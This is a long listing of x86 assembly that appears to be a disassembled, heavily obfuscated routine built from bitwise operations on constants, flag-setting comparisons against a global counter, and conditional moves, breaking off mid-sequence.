mov dword [esp], edi
mov ebp, dword [esp + 8]
mov eax, ebp
xor eax, 0xcc4e2ddc
and eax, ebp
mov ecx, ebp
or ecx, 0x2030c221
mov edx, eax
not edx
and ecx, 0xa870e735
mov edi, dword [esp + 4]
mov esi, edi
and esi, 0x440e08c8
or esi, ecx
mov ebx, ebp
or ebx, edx
and edx, 0xa870e735
and eax, 0x578f18ca
or eax, edx
xor eax, esi
not ebx
or ebx, eax
not eax
and eax, 0x33b1d223
and ebx, 0xcc4e2ddc
or ebx, eax
mov dword [esp + 0xc], ebx
not ebx
and edi, 0xf84a5425
and ebp, 0x7b5abda
or ebp, edi
mov edx, ebp
xor edx, 0x7b5abda
xor ebp, 0x30401401
and ebp, 0x34d4bdc3
mov eax, edx
and eax, 0xcb2b423c
or eax, ebp
xor eax, 0xcb2b423c
or eax, edx
mov ecx, eax
not ecx
and eax, 0xb665787f
mov edi, ecx
and edi, 0x499a8780
or edi, eax
mov esi, edi
xor esi, 0x499a8780
mov edx, edi
xor edx, 0x7c16c7e3
and edx, esi
and ecx, 0x358c4063
or ecx, edx
mov dword [esp + 4], ecx
mov ebp, dword [esp + 0xc]
mov edx, ebp
xor edx, 0xca73bf9c
mov ecx, ebx
mov dword [esp + 0x10], ebx
and edx, ebx
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0x62134a78
and edx, 0x9decb587
or edx, eax
mov eax, ecx
or eax, 0xca73bf9c
or ebx, eax
and eax, 0x62134a78
mov ecx, ebp
and ecx, 0x158c0003
or ecx, eax
xor ecx, edx
not ebx
or ebx, ecx
xor ebx, dword [esp + 4]
xor edi, 0xb665787f
mov eax, ebp
and eax, 0xcfb3d1a8
mov edx, dword [esp + 0x10]
and edx, 0x304c2e57
or edx, eax
or ebp, edi
and edi, 0xcfb3d1a8
and esi, 0x304c2e57
or esi, edi
xor esi, edx
not ebp
or ebp, esi
not ebp
or ebp, ebx
mov esi, ebp
mov ebx, dword [esp]
mov eax, ebx
mov edx, ebx
mov edi, ebx
xor edi, 0x588f8d83
and edi, ebx
not ebx
mov ecx, ebx
and ecx, 0x1991cce3
and eax, 0xe66e331c
or eax, ecx
xor eax, 0xe66e331c
mov ecx, ebp
not ecx
or eax, ecx
and ecx, 0x6a7d78a9
and ebp, 0x95828756
or ebp, ecx
mov ecx, ebp
xor ecx, 0x95828756
xor ebp, 0x32f2f52a
and ebp, ecx
mov ecx, eax
not ecx
mov dword [esp], ecx
or edx, 0xa770727c
and esi, 0xa770727c
or esi, ebp
mov ecx, edx
and ecx, 0xfdf25db6
and ebx, 0xd8001
or ebx, ecx
mov ecx, edi
not ecx
or edx, ecx
and ecx, 0xfdf25db6
and edi, 0x20da249
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov edi, esi
xor edi, esi
not edi
and edi, edx
xor edi, esi
mov edx, eax
and edx, 0x7a1c1910
mov ecx, dword [esp]
mov esi, ecx
and esi, 0x85e3e6ef
or esi, edx
mov edx, esi
xor edx, 0x85e3e6ef
mov dword [esp + 4], edx
xor esi, 0x7a1c1910
mov ebx, esi
or ebx, 0x8c108021
and ebx, 0x8d1290e5
and edx, 0x22ec2408
or edx, ebx
mov ebp, edi
not ebp
or eax, 0x10210c4
and eax, 0x8d1290e5
and ecx, 0x50014b12
or ecx, eax
mov ebx, edi
or ebx, 0xdc11cb33
xor ecx, edx
mov dword [esp], ecx
mov eax, ebx
and eax, 0xc80d1998
mov edx, ebp
and edx, 0x23e22444
or edx, eax
mov eax, edi
xor eax, 0x23ee34cc
and eax, edi
mov ecx, eax
not ecx
or ebx, ecx
and ecx, 0xc80d1998
and eax, 0x37f2e667
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
xor ebx, dword [esp]
mov eax, esi
and eax, 0x64b94882
mov ecx, dword [esp + 4]
and ecx, 0x9b46b77d
or ecx, eax
or esi, edi
and edi, 0x64b94882
and ebp, 0x9b46b77d
or ebp, edi
xor ebp, ecx
not esi
or esi, ebp
mov edx, esi
not edx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x15886a2e
and ebx, 0xea7795d1
or ebx, ecx
or eax, esi
and esi, 0x15886a2e
and edx, 0xea7795d1
or edx, esi
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x6501181
mov esi, ecx
or esi, 0x8005800e
and edx, 0x8655918f
and ecx, 0x18284060
or ecx, edx
and esi, 0x8655918f
and eax, 0x61822e10
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0x67d23f91
xor eax, 0x18098022
and ecx, 0xa574534d
and eax, 0x5a8bacb2
or eax, ecx
mov esi, eax
xor esi, 0x5a8bacb2
xor eax, 0xa574534d
mov edx, esi
or edx, 0x2c000812
mov edi, esi
and esi, 0x848d67da
mov ecx, eax
and ecx, 0x7b729825
or ecx, esi
mov esi, eax
xor ecx, 0x7b729825
or ecx, eax
or eax, 0x42a000
and edx, 0x2c42a812
and esi, 0xc11457a4
or esi, edx
and eax, 0x2c42a812
and edi, 0x12a90049
or edi, eax
xor edi, esi
xor edi, 0xc156f7a4
not ecx
or ecx, edi
mov edx, ecx
not edx
mov eax, edx
and eax, ecx
mov esi, eax
not esi
mov edi, ecx
and edi, 0x4707431e
and edx, 0xb8f8bce1
or edx, edi
or ecx, esi
and esi, 0x4707431e
and eax, 0xb8f8bce1
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov esi, ecx
or esi, 0xac239051
mov edi, ecx
and ecx, 0x372fa9e
mov eax, edx
and eax, 0xfc8d0561
or eax, ecx
mov ecx, edx
xor eax, 0xfc8d0561
or eax, edx
or edx, 0x40040422
and esi, 0xec279473
and ecx, 0x900b04
or ecx, esi
and edx, 0xec279473
and edi, 0x13486088
or edi, edx
xor edi, ecx
xor edi, 0x40940f26
not eax
or eax, edi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x82204044
mov esi, eax
and esi, 0x59949828
or esi, edx
mov edx, esi
xor edx, 0x59901008
xor esi, 0x262862d6
or ecx, 0x224c864
and esi, 0x262ceaf6
and edx, 0xd9901008
or edx, esi
and ecx, 0x262ceaf6
and eax, 0x430501
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0x24012600
xor eax, 0x99908808
and eax, 0x99da899b
and ecx, 0x66257664
or ecx, eax
mov eax, ecx
xor eax, 0x64217404
xor ecx, 0x99c0018a
and ecx, 0x9bc403ea
and eax, 0x643bfc15
or eax, ecx
xor eax, 0x643bfc15
sete ch
setne dl
cmp dword [0x10047904], 0xa
setge byte [esp]
setl ah
mov cl, dl
inc cl
mov al, dl
mov byte [esp + 4], dl
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, dl
mov dh, al
xor dh, 1
and dh, al
xor dh, 1
mov cl, dh
xor cl, al
or dh, al
xor dh, 1
or dh, cl
mov cl, ah
mov bh, ah
inc bh
mov al, ah
mov byte [esp + 8], ah
and al, bh
mov dl, bh
xor dl, al
xor al, 1
mov cl, bh
xor cl, al
mov bl, bh
or bl, al
xor bl, 1
or bl, cl
or al, ah
xor al, 1
or al, dl
xor al, 1
or al, bh
mov bh, al
xor bh, 1
mov cl, bl
or bh, bl
xor bl, 1
or cl, al
mov dl, cl
xor dl, 1
or al, bl
xor al, 1
xor bh, 1
or bh, al
mov al, bh
xor al, 1
mov ah, bh
and ah, cl
or bh, dl
mov bl, dl
and bl, al
or bl, ah
xor al, cl
mov cl, dh
xor cl, 1
xor bh, 1
or bh, al
xor bl, 1
mov eax, ebx
xor al, bh
or bl, bh
xor bl, 1
or bl, al
and dh, cl
xor dh, 1
mov eax, ecx
xor al, dh
or dh, cl
xor dh, 1
or dh, al
mov al, dh
xor al, 1
and dh, al
xor dh, 1
mov cl, dh
xor cl, al
or dh, al
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
mov eax, ebx
xor al, 1
and cl, al
and bl, dh
or bl, cl
xor al, bl
and al, bl
xor bl, 1
or bl, dh
mov cl, al
xor cl, 1
mov edx, ecx
mov ah, bl
xor cl, bl
xor bl, 1
and dl, bl
and ah, al
or ah, dl
or al, bl
xor al, 1
or al, cl
xor al, 1
or al, ah
mov cl, ch
movzx edx, byte [esp]
xor cl, dl
or ch, dl
xor ch, 1
or ch, cl
mov dh, ch
xor dh, 1
mov ah, byte [esp + 8]
mov bl, ah
mov dl, byte [esp + 4]
or bl, dl
xor bl, 1
or cl, bl
mov bh, dh
xor bh, cl
and bh, dh
xor dh, ch
and dh, cl
xor dh, ch
mov cl, bh
xor cl, 1
xor bh, dh
xor dh, 1
or dh, cl
xor dh, 1
or dh, bh
mov bh, byte [esp]
mov cl, bh
xor cl, dl
or bh, dl
xor bh, 1
or bh, cl
and cl, ah
or cl, bl
xor ah, dl
mov dl, ah
xor dl, bh
or bh, ah
xor bh, 1
or bh, dl
mov dl, cl
xor dl, bh
and dl, cl
and bh, 1
xor bh, cl
xor bh, 1
or bh, dl
mov ch, bh
xor ch, 1
mov cl, dh
xor cl, 1
mov ah, cl
and ah, dh
xor cl, ah
xor ah, 1
or ah, dh
xor ah, 1
or ah, cl
mov bl, ah
xor bl, 1
mov dl, ch
and dl, bh
xor dl, 1
mov cl, bh
xor cl, dl
or dl, bh
xor dl, 1
or dl, cl
mov cl, dl
and cl, ah
xor dl, 1
and dl, bl
or dl, cl
xor dh, ch
xor bl, ch
mov ch, dh
xor ch, 1
or ah, bh
xor ah, 1
or ah, bl
xor dl, 1
mov cl, dl
xor cl, ah
or dl, ah
xor dl, 1
or dl, cl
mov cl, dl
xor cl, 1
and dh, ch
xor dh, 1
mov ah, dh
xor ah, ch
or dh, ch
xor dh, 1
or dh, ah
mov ah, dh
xor ah, 1
and ah, cl
and dh, dl
or dh, ah
or dl, ch
xor dh, 1
mov cl, dh
xor cl, dl
or dh, dl
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
mov dl, dh
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, dh
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ah, dl
xor ah, cl
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov dh, cl
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, cl
mov dl, dh
xor dl, 1
mov ah, al
xor ah, 1
mov ecx, edx
and cl, dh
mov ch, cl
xor ch, 1
or ch, dh
xor ch, 1
or ch, dl
mov dh, al
and dh, ah
xor dh, 1
mov dl, dh
xor dl, al
or dh, al
xor dh, 1
or dh, dl
mov bl, dh
xor bl, 1
mov dl, dh
and dl, bl
xor dl, 1
or dl, bl
or cl, ch
xor dl, 1
or dl, dh
inc dl
mov dh, dl
xor dh, ch
xor dh, 1
and dh, ch
or dl, ch
xor dl, 1
or dl, dh
mov ch, cl
xor ch, 1
or cl, al
mov dh, al
or dh, ch
or ch, ah
mov eax, ecx
xor al, ch
or cl, ch
xor cl, 1
or cl, al
mov eax, ecx
and cl, dh
xor dh, 1
xor al, 1
mov ah, dh
xor ah, al
and ah, dh
and al, dh
or al, cl
or al, ah
mov ah, al
xor ah, 1
mov ecx, edx
xor cl, 1
mov ch, al
and ch, cl
or al, dl
and dl, ah
or dl, ch
mov ch, dl
xor ch, cl
and ch, dl
or cl, ah
xor al, 1
xor cl, 1
or cl, al
xor ch, 1
xor cl, 1
mov eax, ecx
xor al, ch
or cl, ch
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x66942dde
mov esi, 0xc6bf400b
cmovne edx, esi
test cl, 1
mov edi, 0x66942dde
cmovne edi, edx
test al, 1
cmove edi, edx
jmp 0x10008b80
mov eax, dword [0x10047900]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
mov ebx, ecx
and eax, 0x1a61c3a3
mov ecx, edx
mov edi, edx
and ecx, 0xe59e3c5c
or ecx, eax
mov eax, ecx
xor eax, 0x21000000
xor ecx, 0x210000
and ecx, 0x4b30448
and eax, 0x21000302
or eax, ecx
mov esi, eax
xor esi, 0x21000302
xor eax, 0xdefffcfd
mov ecx, ebx
mov dword [esp + 8], ebx
and ecx, 0xcda86158
and edx, 0x32579ea7
or edx, ecx
xor edx, 0xe81b6612
mov ecx, edi
mov ebp, edi
mov dword [esp], edi
and ecx, 0x25b3074a
or ecx, edx
mov edi, ecx
not edi
and edi, eax
mov edx, esi
xor edx, ecx
and edx, esi
and ecx, esi
or ecx, edi
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0xdd6c33e9
and edx, 0x20930402
or edx, edi
or eax, esi
and esi, 0xdd6c33e9
and ecx, 0x2293cc16
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x420cf824
xor eax, 0x25b3074a
mov edx, eax
and edx, 0xf4230927
and ecx, 0x43bdfd6e
and eax, 0xbc420291
or eax, ecx
xor eax, 0xb79ef449
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x9111119b
mov esi, eax
and esi, 0x6eeeee64
or esi, edx
mov edx, esi
xor edx, 0xa246040
xor esi, 0x10100088
or ecx, 0x14d08088
or esi, 0x80f20
and esi, 0x14d88fa8
and edx, 0x8a257052
or edx, esi
and ecx, 0x14d88fa8
and eax, 0x61020005
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0x610a0620
xor eax, 0x1eb1c04a
and ecx, 0xe14e36b0
and eax, 0x1eb1c94f
or eax, ecx
mov edi, eax
xor edi, 0x14e3090
xor eax, 0x10a04148
and eax, 0xf0a04768
and edi, 0xf5fb897
or edi, eax
mov ecx, ebp
and ecx, 0x175e502d
mov eax, ebx
and eax, 0xe8a1afd2
or eax, ecx
mov edx, eax
xor edx, 0xe8a1afd2
xor eax, 0x35c5008
mov ecx, edx
and ecx, 0xbdcf6d8
and eax, 0xbdcf6d8
and edx, 0xf4230927
or edx, eax
or edx, ecx
mov ecx, edx
not ecx
mov esi, ecx
mov eax, edx
or eax, 0x460859e
and eax, 0x24e8cf9e
and ecx, 0xcb132041
or ecx, eax
mov ebp, edi
xor ebp, 0xf5fb897
xor edi, 0xf0a04768
or esi, 0x20884a00
and esi, 0x24e8cf9e
and edx, 0x10041020
or edx, esi
xor edx, ecx
mov ecx, edx
xor ecx, 0x4440122
xor edx, 0xeb9b6a41
mov esi, edx
and esi, 0x98aa96dd
and ecx, 0x67556922
or ecx, esi
xor ecx, 0x98aa96dd
xor edx, ecx
and edx, ecx
mov ecx, edi
and ecx, 0xdf195332
mov ebx, ebp
and ebx, 0x20e6accd
or ebx, ecx
mov ecx, edx
not ecx
mov dword [esp + 0x14], ecx
and ecx, 0x2a028
mov esi, edx
and esi, 0x50e40000
or esi, ecx
xor esi, 0x50e40000
mov eax, edx
xor eax, 0x50e6a028
and eax, edx
or eax, esi
mov ecx, ebx
xor ecx, 0x20e6accd
mov dword [esp + 4], ecx
xor ebx, 0xdf195332
mov ecx, ebx
mov dword [esp + 0xc], ebx
and ecx, 0xfc041805
mov esi, dword [esp + 4]
and esi, 0x3fbe7fa
or esi, ecx
mov ecx, esi
xor ecx, ebx
and ecx, esi
mov esi, edi
and esi, 0x42c30a86
and ebp, 0xbd3cf579
or ebp, esi
xor ebp, 0x4138ed7c
xor edi, ebp
and edi, ebp
mov ebx, eax
xor ebx, 0xaf195fd7
xor eax, 0x50e6a028
mov dword [esp + 0x10], eax
mov esi, eax
and esi, 0x2b02430
mov eax, ebx
and eax, 0x14bc3ca
or eax, esi
mov esi, eax
xor esi, 0x841c8
or esi, 0x70001805
xor eax, 0x902420
and eax, 0x1d3a622
and esi, 0x722859dd
or esi, eax
mov eax, dword [esp + 0x14]
and eax, 0xcc000804
and edx, 0x30041001
or edx, eax
mov eax, ecx
not eax
mov ebp, eax
and eax, 0x2b58da8a
and ecx, 0xd4a72575
or ecx, eax
mov eax, edi
not eax
or ebp, eax
and eax, 0x2b58da8a
and edi, 0xd4a72575
or edi, eax
xor edi, ecx
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0x118feadd
and edi, 0xee701522
or edi, eax
xor edi, ebp
or ecx, ebp
xor edi, 0xee701522
not ecx
or ecx, edi
mov ebp, esi
xor ebp, 0x722859dd
mov eax, esi
xor eax, 0x1d3a622
and eax, ebp
xor esi, 0x89c2a002
and esi, 0xabe2a00a
and ebp, 0x1947f0
or ebp, esi
mov esi, edx
xor esi, 0x20000000
or esi, 0x3e2a00a
xor edx, 0x44000804
and esi, 0xabe2a00a
and edx, 0x54041805
or edx, esi
xor edx, ebp
or edx, eax
mov esi, ecx
not esi
mov edi, esi
and edi, 0x76e17d65
mov eax, ecx
and eax, 0x891e829a
or eax, edi
mov edi, edx
not edi
xor eax, 0x76e17d65
or eax, edi
and edi, 0x728f0cd1
and edx, 0x8d70f32e
or edx, edi
xor edx, esi
xor edx, 0x8d70f32e
and edx, ecx
not eax
or edx, eax
mov ecx, dword [esp + 4]
mov eax, ecx
mov edi, dword [esp + 0x10]
xor eax, edi
and eax, ecx
mov esi, dword [esp + 0xc]
and esi, 0x89bc3e7a
and ecx, 0x7643c185
or ecx, esi
and edi, 0x89bc3e7a
and ebx, 0x7643c185
or ebx, edi
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x4dbaa662
and ebx, 0xb245599d
or ebx, eax
mov esi, ebx
xor esi, 0x4c880642
xor ebx, 0x10010084
and ebx, 0x1133a0a4
and esi, 0xeecc5f5b
or esi, ebx
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x649d0278
mov ebx, edx
and ebx, 0x9b62fd87
or ebx, eax
mov dword [esp + 0xc], ebx
mov edi, esi
xor edi, 0x80044643
mov eax, esi
xor eax, 0x1133a0a4
mov dword [esp + 0x10], eax
and eax, 0x6ee9993c
and edi, 0x911666c3
or edi, eax
mov eax, ebx
xor eax, 0x9b62fd87
mov dword [esp + 4], eax
xor ebx, 0x3da0d5f6
and ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x25dd2ced
and ebx, 0xda22d312
or ebx, ecx
or ebp, 0x593dd78e
or eax, ebp
and ebp, 0x25dd2ced
and edx, 0x82020010
or edx, ebp
xor edx, ebx
not eax
or eax, edx
mov edx, edi
xor edx, 0x911666c3
xor edi, 0x6ee9993c
mov ecx, edi
or ecx, 0x6c00020
and ecx, 0x5ee882a2
mov ebx, edx
and ebx, 0x115550c
or ebx, ecx
mov ecx, dword [esp + 0x10]
or ecx, 0x58288282
xor esi, 0xa0000851
and ecx, 0x5ee882a2
and esi, 0xa0022851
or esi, ecx
xor esi, ebx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, eax
xor ecx, esi
mov esi, dword [esp + 0xc]
xor esi, 0x649d0278
mov eax, esi
and eax, 0xb83eb6d5
mov ebx, dword [esp + 4]
and ebx, 0x47c1492a
or ebx, eax
or esi, edi
and edi, 0xb83eb6d5
and edx, 0x47c1492a
or edx, edi
xor edx, ebx
not esi
or esi, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x1034f5cf
and ecx, 0xefcb0a30
or ecx, eax
xor ecx, esi
xor ecx, 0xefcb0a30
or edx, esi
not edx
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x4e63503e
mov esi, edx
and esi, 0xb19cafc1
or esi, eax
xor esi, 0x3088a4c0
mov eax, ecx
and eax, edx
or eax, esi
mov esi, eax
not esi
or esi, 0xc1365b15
mov edi, ecx
and edi, 0xeaaed229
and edx, 0x15512dd6
or edx, edi
xor edx, 0xd46776c3
xor ecx, edx
and ecx, edx
mov edi, ecx
not edi
mov edx, esi
or edx, edi
and esi, 0x6d1f1b5a
and eax, 0x12c0a4a0
or eax, esi
and edi, 0x6d1f1b5a
and ecx, 0x92e0e4a5
or ecx, edi
xor ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0xad422c6d
and ecx, 0x52bdd392
or ecx, esi
or eax, edx
and edx, 0xbfcbacef
xor edx, ecx
xor edx, 0x12898082
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xcaeaadcc
and ecx, eax
or eax, 0x35155233
mov esi, ecx
not esi
mov edi, eax
and edi, 0x7e7f93bc
and edx, 0x80802c40
or edx, edi
or eax, esi
and esi, 0x7e7f93bc
and ecx, 0x81806c43
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x8480000
mov esi, eax
and esi, 0x204010
or esi, ecx
xor esi, 0x204010
mov ecx, edx
and ecx, 0x1920280
or ecx, esi
mov esi, ecx
not esi
and eax, 0xb033e79c
mov edi, edx
and edi, 0x4fcc1863
or edi, eax
xor edi, 0xb9c9a50c
and edx, 0x9fa4290
or edx, edi
mov eax, esi
or eax, edx
not eax
and esi, 0x5670844e
and ecx, 0x98a4290
or ecx, esi
xor ecx, edx
mov edx, ecx
xor edx, 0xa98f7bb1
or edx, eax
xor ecx, 0x56008408
and ecx, 0x5600a509
mov eax, edx
and eax, 0xa0051866
or eax, ecx
xor eax, 0xa0051866
and edx, 0x9fa4290
or edx, eax
mov dword [esp + 4], edx
mov ebx, dword [esp]
mov eax, ebx
and eax, 0x9894ed75
mov edi, dword [esp + 8]
mov esi, edi
and esi, 0x676b128a
or esi, eax
mov ecx, esi
xor ecx, 0x26080088
xor esi, 0x10140c14
and esi, 0x51771e16
and ecx, 0xae88e1e9
or ecx, esi
mov edx, ecx
xor edx, 0xae88e1e9
xor ecx, 0x40640412
and ecx, 0x6aec853a
mov esi, edx
and esi, 0x95137ac5
or esi, ecx
xor esi, 0x9178b944
and edx, 0xfb943c7e
or edx, esi
mov esi, edx
not esi
mov eax, ebx
mov ecx, ebx
and ecx, 0xe38ce59
and edi, 0xf1c731a6
or edi, ecx
xor edi, 0xa530dd8
xor eax, edi
and eax, edi
mov dword [esp], eax
mov ecx, edx
xor ecx, 0x871350af
and ecx, edx
mov edi, esi
and edi, 0x871350af
or edi, ecx
mov dword [esp + 8], edi
mov ebx, eax
or ebx, 0x871350af
mov edi, eax
not edi
mov ebp, ebx
and ebp, 0x16d9be2e
mov ecx, edi
and ecx, 0x68240150
or ecx, ebp
mov ebp, eax
xor ebp, 0x78ecaf50
and ebp, eax
mov eax, ebp
not eax
or ebx, eax
and eax, 0x16d9be2e
and ebp, 0xe92641d1
or ebp, eax
xor ebp, ecx
not ebx
or ebx, ebp
mov ebp, ebx
xor ebp, ebx
not ebp
and ebp, dword [esp + 8]
xor ebp, ebx
mov eax, esi
and eax, 0x81f5c628
and edx, 0x7e0a39d7
or edx, eax
mov eax, dword [esp]
or esi, eax
and eax, 0x81f5c628
and edi, 0x7e0a39d7
or edi, eax
xor edi, edx
not esi
or esi, edi
not esi
or esi, ebp
mov eax, esi
mov ecx, esi
xor ecx, 0xfb943c7e
and ecx, esi
not esi
mov edx, esi
and edx, 0x92801018
and eax, 0x69142c66
or eax, edx
xor eax, 0x96ebd399
mov edx, ecx
not edx
mov edi, eax
and edi, 0xf69e16b9
and esi, 0x9002846
or esi, edi
or eax, edx
and edx, 0xf69e16b9
and ecx, 0x961e946
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov esi, eax
not esi
mov ebp, dword [esp + 4]
mov edi, ebp
not edi
mov ecx, edi
and ecx, 0x9433ddd1
mov edx, ebp
and edx, 0x6bcc222e
or edx, ecx
mov ebx, eax
and ebx, 0x9433ddd1
mov ecx, esi
and ecx, 0x6bcc222e
or ecx, ebx
xor ecx, edx
not ecx
or ecx, edi
and edi, 0xcc834868
mov ebx, ebp
and ebx, 0x337cb797
or ebx, edi
xor ebx, esi
xor ebx, 0x337cb797
and ebx, eax
xor eax, ebp
and eax, ebp
or eax, ebx
mov esi, eax
not esi
mov edx, ecx
or edx, esi
and esi, 0x53e95a43
and eax, 0xac16a5bc
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0xac16a5bc
xor eax, 0x53e95a43
mov esi, eax
and esi, 0xfddfbd45
and ecx, 0x22042ba
or ecx, esi
xor ecx, edx
xor ecx, 0x22042ba
or eax, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, eax
mov edi, ecx
not edi
mov esi, eax
and esi, 0xdae33f8a
mov ebx, edx
and ebx, 0x251cc075
or ebx, esi
mov esi, eax
or esi, edi
and edi, 0xdae33f8a
and ecx, 0x251cc075
or ecx, edi
xor ecx, ebx
not esi
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x7b2af5a
mov edi, ecx
and edi, 0xf84d50a5
or edi, esi
xor edi, 0xd55b3a97
and ecx, 0xd2e995cd
or ecx, edi
mov esi, edx
and esi, 0x2d166a32
and eax, 0xd2e995cd
or eax, esi
xor edx, eax
and edx, eax
mov esi, edx
xor esi, 0xfdb39b6c
mov edi, esi
and esi, edx
mov eax, edx
not eax
mov ebx, ecx
mov edx, ecx
and edi, eax
or eax, ecx
not ecx
and ebx, 0xfdb39b6c
xor edx, 0x24c6493
and edx, ecx
or edx, ebx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0x27572350
and edi, 0xd8a8dcaf
or edi, ebx
mov ebx, esi
not ebx
or ecx, ebx
and ebx, 0x27572350
and esi, 0xd8a8dcaf
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
mov esi, ecx
xor esi, ecx
not esi
and esi, edx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x104181c0
mov esi, eax
or esi, 0x8064812
and esi, 0x1847c9d2
and ecx, 0xc2a8140d
or ecx, esi
and edx, 0x1847c9d2
and eax, 0x25102220
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x4473a1d9
mov edx, eax
and edx, 0xbb8c5e26
or edx, esi
mov esi, edx
xor esi, 0xbb8c5e26
and esi, ecx
xor edx, 0x4473a1d9
and edx, eax
or edx, esi
xor ecx, edx
test ecx, edx
sete ch
setne dl
cmp dword [0x10047904], 0xa
setge ah
mov byte [esp], ah
setl cl
mov al, cl
xor al, ah
and al, cl
mov ah, al
xor ah, 1
mov dh, ah
and dh, al
xor dh, 1
or dh, al
xor dh, 1
or dh, ah
mov bh, dh
xor bh, 1
mov bl, dh
and bl, bh
xor bl, 1
or bl, bh
xor bl, 1
or bl, dh
xor bl, 1
mov dh, dl
xor dh, bl
or bl, dl
xor bl, 1
or bl, dh
xor dh, 1
mov bh, dh
xor bh, bl
or dh, bl
xor dh, 1
or dh, bh
mov bl, dh
xor bl, 1
and bl, dh
xor bl, 1
mov bh, dh
xor bh, bl
or bl, dh
xor bl, 1
or bl, bh
mov bh, bl
xor bh, 1
mov dh, ah
xor dh, dl
and dh, ah
xor al, dl
mov ah, dh
xor ah, 1
xor dh, al
xor al, 1
or al, ah
xor al, 1
or al, dh
mov ah, al
xor ah, 1
and al, ah
xor al, 1
mov dh, ah
xor dh, al
or al, ah
xor al, 1
or al, dh
mov dh, al
xor dh, 1
and al, bl
xor bl, ah
and bl, ah
or ah, bh
xor ah, 1
or ah, bl
mov bl, bh
xor bl, dh
and bl, bh
and dh, bh
or dh, al
mov al, bl
xor al, 1
xor bl, dh
xor dh, 1
or dh, al
xor dh, 1
or dh, bl
xor ah, 1
mov al, dh
xor al, ah
or ah, dh
xor ah, 1
or ah, al
mov al, cl
xor al, dl
mov dh, al
and dh, cl
xor dh, 1
mov bl, dh
xor bl, al
or dh, al
xor dh, 1
or dh, bl
mov al, dh
xor al, 1
or ch, byte [esp]
or cl, dl
mov dl, ch
or dl, cl
xor dl, 1
xor cl, ch
or cl, dl
mov dl, dh
and dl, al
xor dl, 1
mov ch, al
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
mov ebx, ecx
xor bl, 1
mov ch, dl
xor ch, 1
or al, bl
or dh, cl
mov bh, al
xor bh, dh
or dh, al
xor dh, 1
or dh, bh
and bl, ch
or ch, cl
and dl, cl
or dl, bl
xor dl, 1
mov al, dl
xor al, ch
or dl, ch
xor dl, 1
or dl, al
xor dl, 1
mov al, dh
xor al, dl
or dl, dh
xor dl, 1
or dl, al
xor dl, 1
or dl, al
mov al, dl
xor al, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov al, dl
xor al, 1
and dl, al
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov al, dl
xor al, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov al, dl
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov al, cl
xor al, 1
mov ch, al
mov byte [esp], al
mov al, ah
xor al, 1
mov edx, eax
and dl, ah
xor al, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov dh, al
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, al
mov ebx, ecx
and bl, ch
xor bl, 1
mov ah, ch
xor ah, bl
or bl, ch
xor bl, 1
or bl, ah
mov ah, bl
xor ah, 1
and bl, ah
xor bl, 1
mov bh, bl
xor bh, ah
or bl, ah
mov ch, dh
xor ch, 1
xor bl, 1
or bl, bh
and ch, dh
xor ch, 1
mov ah, ch
xor ah, dh
or ch, dh
xor ch, 1
or ch, ah
mov ah, bl
xor ah, 1
and bl, ch
xor ch, 1
and ch, ah
or ch, bl
or cl, dl
mov ah, byte [esp]
xor dl, ah
or dl, al
or al, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
xor al, 1
mov cl, dl
xor cl, al
